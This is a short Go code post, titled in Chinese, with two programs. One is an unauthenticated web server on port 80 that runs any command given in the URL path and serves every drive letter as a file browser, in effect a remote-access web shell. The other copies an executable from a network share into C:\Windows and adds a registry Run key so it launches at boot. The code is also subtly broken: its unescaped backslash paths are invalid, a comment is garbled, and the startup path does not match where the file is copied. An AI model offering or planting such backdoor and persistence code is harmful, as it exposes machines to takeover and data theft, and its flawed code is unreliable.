golang网页版简易资源管理器及执行cmd

package main

import (
    "fmt"
    "net/http"
    "os/exec"
    "strings"

    "golang.org/x/text/encoding/simplifiedchinese"
)

func A(s string) string {
    s = s[1:]
    str0 := strings.Split(s, ` `)
    str1 := str0[0]
    str2 := str0[1:]
    output, _ := exec.Command(str1, str2...).Output()
    var decodeBytes, _ = simplifiedchinese.GB18030.NewDecoder().Bytes(output)
    return string(decodeBytes)
}

func IndexHandler(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintln(w, r.URL.Path)
    fmt.Fprintln(w, A(r.URL.Path))
}

func pf(p string) {
    pan := p
    panstr := "/" + pan + "/"
    fsh := http.FileServer(http.Dir(pan + ":"))
    http.Handle(panstr, http.StripPrefix(panstr, fsh))
}

func main() {
    http.HandleFunc("/", IndexHandler)
    // 设置静态目录
    drv := "abcdefghijklmnopqrstuvwxyz"
    for _, v := range drv {
        pf(string(v))
    }
    http.ListenAndServe(":80", nil)

}

package main

import (
    "os/exec"
)

func main() {
    // copy \192.168.0.1	oolsmycmd.exe c:
    exec.Command("cmd", "/c", "copy", "\\192.168.0.1\tools\mycmd.exe", "C:\Windows").Run()
    //开机启动
    exec.Command("cmd", "/c", "reg", "add", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "/v", "mycmd", "/t", "REG_SZ", "/d", "c:\mycmd.exe", "/f").Run()

}